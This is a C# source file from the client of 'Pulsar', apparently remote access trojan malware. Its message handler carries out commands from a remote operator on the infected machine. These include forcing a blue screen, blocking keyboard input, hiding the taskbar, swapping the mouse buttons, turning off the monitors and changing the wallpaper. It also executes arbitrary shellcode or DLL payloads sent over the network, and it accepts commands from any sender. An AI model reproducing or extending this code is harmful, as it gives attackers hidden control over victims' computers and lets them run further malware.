276 lines
8.9 KiB
C#
276 lines
8.9 KiB
C#
using Pulsar.Common.Messages;
|
|
using Pulsar.Common.Networking;
|
|
using Pulsar.Common.Messages.FunStuff;
|
|
using Pulsar.Common.Messages.Other;
|
|
using Pulsar.Client.FunStuff;
|
|
using System;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using System.Diagnostics;
|
|
using System.Reflection;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using System.Collections.Generic;
|
|
using System.Runtime.InteropServices;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Pulsar.Client.Messages
|
|
{
|
|
public class FunStuffHandler : IMessageProcessor, IDisposable
|
|
{
|
|
private BSOD _bsod = new BSOD();
|
|
private SwapMouseButtons _swapMouseButtons = new SwapMouseButtons();
|
|
private HideTaskbar _hideTaskbar = new HideTaskbar();
|
|
private KeyboardInput _keyboardInput = new KeyboardInput();
|
|
private CDTray _cdTray = new CDTray();
|
|
private MonitorPower _monitorPower = new MonitorPower();
|
|
private ShellcodeRunner _shellcodeRunner = new ShellcodeRunner();
|
|
private DllRunner _dllRunner = new DllRunner(); // Added DLL runner
|
|
|
|
public bool CanExecute(IMessage message) =>
|
|
message is DoBSOD ||
|
|
message is DoSwapMouseButtons ||
|
|
message is DoHideTaskbar ||
|
|
message is DoChangeWallpaper ||
|
|
message is DoBlockKeyboardInput ||
|
|
message is DoCDTray ||
|
|
message is DoMonitorsOff ||
|
|
message is DoSendBinFile;
|
|
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
switch (message)
|
|
{
|
|
case DoBSOD msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
case DoSwapMouseButtons msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
case DoHideTaskbar msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
case DoChangeWallpaper msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
case DoBlockKeyboardInput msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
case DoCDTray msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
case DoMonitorsOff msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
case DoSendBinFile msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoSendBinFile message)
|
|
{
|
|
try
|
|
{
|
|
// Determine if this is shellcode or DLL based on message properties or content
|
|
if (IsDllPayload(message))
|
|
{
|
|
_dllRunner.Handle(message, client);
|
|
}
|
|
else
|
|
{
|
|
_shellcodeRunner.Handle(message, client);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
client.Send(new SetStatus { Message = $"Failed to execute binary: {ex.Message}" });
|
|
}
|
|
}
|
|
|
|
private bool IsDllPayload(DoSendBinFile message)
|
|
{
|
|
// You can implement logic here to determine if the payload is a DLL
|
|
// Some possible approaches:
|
|
|
|
// 1. Check file extension if available in message
|
|
// if (!string.IsNullOrEmpty(message.FileName) && message.FileName.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
|
|
// return true;
|
|
|
|
// 2. Check for DLL signature (MZ header)
|
|
if (message.Data?.Length > 1 && message.Data[0] == 0x4D && message.Data[1] == 0x5A)
|
|
return true;
|
|
|
|
// 3. Add a property to DoSendBinFile message type to specify payload type
|
|
// return message.PayloadType == "dll";
|
|
|
|
// For now, default to shellcode execution
|
|
return false;
|
|
}
|
|
|
|
private void Execute(ISender client, DoCDTray message)
|
|
{
|
|
try
|
|
{
|
|
_cdTray.Handle(message);
|
|
client.Send(new SetStatus { Message = $"CD tray {(message.Open ? "opened" : "closed")} successfully" });
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
client.Send(new SetStatus { Message = $"Failed to {(message.Open ? "open" : "close")} CD tray: {ex.Message}" });
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoMonitorsOff message)
|
|
{
|
|
try
|
|
{
|
|
_monitorPower.Handle(message);
|
|
client.Send(new SetStatus { Message = $"Monitors turned {(message.Off ? "off" : message.On ? "on" : "no action")} successfully" });
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
client.Send(new SetStatus { Message = $"Failed to change monitor state: {ex.Message}" });
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoBSOD message)
|
|
{
|
|
client.Send(new SetStatus { Message = "Successful BSOD" });
|
|
_bsod.DOBSOD();
|
|
}
|
|
|
|
private void Execute(ISender client, DoSwapMouseButtons message)
|
|
{
|
|
try
|
|
{
|
|
SwapMouseButtons.SwapMouse();
|
|
client.Send(new SetStatus { Message = "Successfull Mouse Swap" });
|
|
}
|
|
catch
|
|
{
|
|
client.Send(new SetStatus { Message = "Failed to swap mouse buttons" });
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoHideTaskbar message)
|
|
{
|
|
try
|
|
{
|
|
client.Send(new SetStatus { Message = "Successful Hide Taskbar" });
|
|
HideTaskbar.DoHideTaskbar();
|
|
}
|
|
catch
|
|
{
|
|
client.Send(new SetStatus { Message = "Failed to hide taskbar" });
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoChangeWallpaper message)
|
|
{
|
|
try
|
|
{
|
|
string imagePath = SaveImageToFile(message.ImageData, message.ImageFormat);
|
|
ChangeWallpaper.SetWallpaper(imagePath);
|
|
client.Send(new SetStatus { Message = "Successful Wallpaper Change" });
|
|
}
|
|
catch
|
|
{
|
|
client.Send(new SetStatus { Message = "Failed to change wallpaper" });
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoBlockKeyboardInput message)
|
|
{
|
|
try
|
|
{
|
|
_keyboardInput.Handle(message);
|
|
client.Send(new SetStatus { Message = $"Keyboard input {(message.Block ? "blocked" : "unblocked")} successfully" });
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
client.Send(new SetStatus { Message = $"Failed to {(message.Block ? "block" : "unblock")} keyboard input: {ex.Message}" });
|
|
}
|
|
}
|
|
|
|
private string SaveImageToFile(byte[] imageData, string imageFormat)
|
|
{
|
|
string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper" + GetImageExtension(imageFormat));
|
|
using (MemoryStream ms = new MemoryStream(imageData))
|
|
{
|
|
Image image = Image.FromStream(ms);
|
|
image.Save(tempPath, GetImageFormat(imageFormat));
|
|
}
|
|
return tempPath;
|
|
}
|
|
|
|
private string GetImageExtension(string imageFormat)
|
|
{
|
|
switch (imageFormat?.ToLower())
|
|
{
|
|
case "jpeg":
|
|
case "jpg":
|
|
return ".jpg";
|
|
case "png":
|
|
return ".png";
|
|
case "bmp":
|
|
return ".bmp";
|
|
case "gif":
|
|
return ".gif";
|
|
default:
|
|
return ".img";
|
|
}
|
|
}
|
|
|
|
private ImageFormat GetImageFormat(string imageFormat)
|
|
{
|
|
switch (imageFormat?.ToLower())
|
|
{
|
|
case "jpeg":
|
|
case "jpg":
|
|
return ImageFormat.Jpeg;
|
|
case "png":
|
|
return ImageFormat.Png;
|
|
case "bmp":
|
|
return ImageFormat.Bmp;
|
|
case "gif":
|
|
return ImageFormat.Gif;
|
|
default:
|
|
throw new NotSupportedException($"Image format {imageFormat} is not supported.");
|
|
}
|
|
}
|
|
|
|
#region IDisposable Implementation
|
|
|
|
private bool _disposed = false;
|
|
|
|
public void Dispose()
|
|
{
|
|
Dispose(true);
|
|
GC.SuppressFinalize(this);
|
|
}
|
|
|
|
protected virtual void Dispose(bool disposing)
|
|
{
|
|
if (!_disposed)
|
|
{
|
|
if (disposing)
|
|
{
|
|
_keyboardInput?.Dispose();
|
|
}
|
|
_disposed = true;
|
|
}
|
|
}
|
|
|
|
~FunStuffHandler()
|
|
{
|
|
Dispose(false);
|
|
}
|
|
|
|
#endregion
|
|
}
|
|
} |